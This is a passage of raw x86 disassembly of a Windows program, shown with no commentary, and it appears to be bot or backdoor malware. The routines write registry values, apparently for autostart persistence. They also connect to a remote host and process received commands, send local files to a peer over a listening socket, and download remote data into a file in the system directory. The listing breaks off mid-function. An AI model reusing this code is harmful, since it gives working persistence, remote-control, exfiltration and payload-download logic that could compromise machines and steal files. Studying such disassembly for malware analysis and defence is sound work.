		mov	esi, offset dword_43A764


loc_40B253:				; CODE XREF: sub_40B24D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B268
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B27A


loc_40B268:				; CODE XREF: sub_40B24D+9j
		add	esi, 80h
		cmp	esi, offset dword_43E764
		jl	short loc_40B253
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B27A:				; CODE XREF: sub_40B24D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B24D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B27F	proc near		; DATA XREF: sub_40CE55+5532o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BA34
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h


loc_40B2D2:				; CODE XREF: sub_40B27F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2F2
		mov	[ebp+var_8], eax


loc_40B2F2:				; CODE XREF: sub_40B27F+5Aj
					; sub_40B27F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A764


loc_40B2FB:				; CODE XREF: sub_40B27F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B355
		cmp	byte ptr [esi],	0
		jz	short loc_40B344
		cmp	[ebp+var_98], 0
		jz	short loc_40B32A
		cmp	[ebp+var_4], 0
		jnz	short loc_40B32A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B344


loc_40B32A:				; CODE XREF: sub_40B27F+90j
					; sub_40B27F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h


loc_40B344:				; CODE XREF: sub_40B27F+87j
					; sub_40B27F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E764
		jl	short loc_40B2FB


loc_40B355:				; CODE XREF: sub_40B27F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42BA04
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B38F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h


loc_40B38F:				; CODE XREF: sub_40B27F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_18]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40B27F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3AE	proc near		; CODE XREF: sub_409E15+1Ep
					; sub_40C682+350p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA58
		xor	esi, esi
		mov	ebx, offset dword_42C21C


loc_40B3C1:				; CODE XREF: sub_40B3AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43A34C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3FB
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		jmp	short loc_40B405
; ---------------------------------------------------------------------------


loc_40B3FB:				; CODE XREF: sub_40B3AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43A304	; RegDeleteValueA


loc_40B405:				; CODE XREF: sub_40B3AE+4Bj
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42BA70
		jl	short loc_40B3C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B41E	proc near		; CODE XREF: sub_40B459+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B453
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40B437:				; CODE XREF: sub_40B41E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B437
		pop	edi
		pop	ebx


loc_40B453:				; CODE XREF: sub_40B41E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B41E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B459	proc near		; CODE XREF: sub_40BCEF+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DC9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BE8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B4A8


loc_40B47E:				; CODE XREF: sub_40B459+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B4AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174DF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B4A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 10h
		jmp	short loc_40B47E
; ---------------------------------------------------------------------------


loc_40B4A8:				; CODE XREF: sub_40B459+23j
					; sub_40B459+39j
		xor	eax, eax
		jmp	short loc_40B4C7
; ---------------------------------------------------------------------------


loc_40B4AC:				; CODE XREF: sub_40B459+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B41E
		push	esi
		mov	ebx, eax
		call	sub_415E3D
		push	edi
		call	sub_415B40
		add	esp, 10h
		mov	eax, ebx


loc_40B4C7:				; CODE XREF: sub_40B459+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4CB	proc near		; CODE XREF: sub_40B551+33p
					; sub_40BAB4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43A418	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B547
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43A398	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43A3D8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40B52C
		push	[ebp+arg_0]
		call	dword_43A41C	; gethostbyname
		test	eax, eax
		jz	short loc_40B547
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B52C:				; CODE XREF: sub_40B4CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, esi
		jnz	short loc_40B54B
		push	edi
		call	dword_43A430	; closesocket


loc_40B547:				; CODE XREF: sub_40B4CB+1Bj
					; sub_40B4CB+58j
		mov	eax, esi
		jmp	short loc_40B54D
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4CB+73j
		mov	eax, edi


loc_40B54D:				; CODE XREF: sub_40B4CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B551	proc near		; DATA XREF: sub_40CE55+A79o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40B4CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B5E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BAFC
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B5C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h


loc_40B5C7:				; CODE XREF: sub_40B551+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B5E4:				; CODE XREF: sub_40B551+3Fj
		push	offset byte_438FBC
		push	ebx
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B64F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BAB8
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B62B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h


loc_40B62B:				; CODE XREF: sub_40B551+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B64F:				; CODE XREF: sub_40B551+A3j
		push	64h
		call	dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40B65E:				; CODE XREF: sub_40B551+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_40B6BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BB
		push	64h
		call	dword_421060	; Sleep
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	short loc_40B65E


loc_40B6BB:				; CODE XREF: sub_40B551+130j
					; sub_40B551+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BA70
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B6EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h


loc_40B6EE:				; CODE XREF: sub_40B551+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40B551	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B712	proc near		; DATA XREF: sub_40CE55+46F3o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40B760
		push	offset dword_42BC9C
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B760:				; CODE XREF: sub_40B712+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43A398	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43A3C4	; bind
		test	eax, eax
		jz	short loc_40B79E
		push	offset dword_42BC64
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B79E:				; CODE XREF: sub_40B712+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43A33C	; getsockname
		push	[ebp+var_2E]
		call	dword_43A2D4	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415CF0
		pop	ecx


loc_40B7D0:				; CODE XREF: sub_40B712+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40B7E3
		push	5Fh
		pop	eax
		jmp	short loc_40B7E6
; ---------------------------------------------------------------------------


loc_40B7E3:				; CODE XREF: sub_40B712+CAj
		movsx	eax, al


loc_40B7E6:				; CODE XREF: sub_40B712+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40B7D0
		push	ebx
		push	edi
		call	dword_43A3C0	; listen
		test	eax, eax
		jz	short loc_40B819
		push	offset dword_42BAFC
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B819:				; CODE XREF: sub_40B712+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40B843
		push	offset dword_42BC30
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B843:				; CODE XREF: sub_40B712+125j
		push	esi
		push	eax
		call	dword_421090	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		push	eax
		call	dword_43A394	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BC18
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43A380	; select
		test	eax, eax
		jg	short loc_40B8F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42BBEC
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		jmp	loc_40BA17
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: sub_40B712+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43A42C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40B92C
		push	offset dword_42BBB4


loc_40B919:				; CODE XREF: sub_40B712+49j
					; sub_40B712+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BA1A
; ---------------------------------------------------------------------------


loc_40B92C:				; CODE XREF: sub_40B712+200j
		push	edi
		call	dword_43A430	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40B9DE
		mov	edi, 400h


loc_40B941:				; CODE XREF: sub_40B712+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40B94E
		mov	[ebp+var_4], eax


loc_40B94E:				; CODE XREF: sub_40B712+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43A3E8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43A3B0	; recv
		cmp	eax, ebx
		jl	loc_40BA73
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40BA73
		sub	[ebp+arg_0], eax
		jnz	loc_40B941
		mov	edi, [ebp+var_18]


loc_40B9DE:				; CODE XREF: sub_40B712+224j
		push	[ebp+var_8]
		call	dword_42106C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BB60
		push	eax
		call	sub_4154E7


loc_40BA17:				; CODE XREF: sub_40B712+1DCj
		add	esp, 14h


loc_40BA1A:				; CODE XREF: sub_40B712+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40BA3F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 14h


loc_40BA3F:				; CODE XREF: sub_40B712+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40B16D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA57
		push	edi
		call	dword_43A430	; closesocket


loc_40BA57:				; CODE XREF: sub_40B712+33Cj
		push	[ebp+var_1F8]
		call	dword_43A430	; closesocket
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40BA73:				; CODE XREF: sub_40B712+2AFj
					; sub_40B712+2BAj
		push	esi
		mov	esi, offset dword_42BB34
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		push	esi
		call	sub_40B16D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43A430	; closesocket
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B712	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAB4	proc near		; DATA XREF: sub_40CE55+7B7o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB3E
		push	offset dword_42BDA4
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------


loc_40BB3E:				; CODE XREF: sub_40BAB4+81j
		push	eax
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40BB66
		push	offset dword_42BD60
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------


loc_40BB66:				; CODE XREF: sub_40BAB4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40B4CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40BB97
		push	offset dword_42BD2C


loc_40BB84:				; CODE XREF: sub_40BAB4+88j
					; sub_40BAB4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BC91
; ---------------------------------------------------------------------------


loc_40BB97:				; CODE XREF: sub_40BAB4+C9j
		mov	esi, 1000h


loc_40BB9C:				; CODE XREF: sub_40BAB4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BC63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BC04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4175FF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43A394	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		jmp	short loc_40BB9C
; ---------------------------------------------------------------------------


loc_40BC04:				; CODE XREF: sub_40BAB4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BB34
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_4]
		call	sub_415B40
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	1
		call	dword_421048	; ExitThread


loc_40BC63:				; CODE XREF: sub_40BAB4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BCD4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch


loc_40BC91:				; CODE XREF: sub_40BAB4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40BCB6
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		add	esp, 14h


loc_40BCB6:				; CODE XREF: sub_40BAB4+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40BCD1
		push	[ebp+var_4]
		call	sub_415B40
		pop	ecx


loc_40BCD1:				; CODE XREF: sub_40BAB4+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40BCDF
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket


loc_40BCDF:				; CODE XREF: sub_40BAB4+220j
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40BAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCEF	proc near		; DATA XREF: sub_40CE55+36E9o
					; sub_40CE55+3E36o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43A348
		call	dword_43A2A8	; InternetOpenUrlA
		cmp	eax, esi
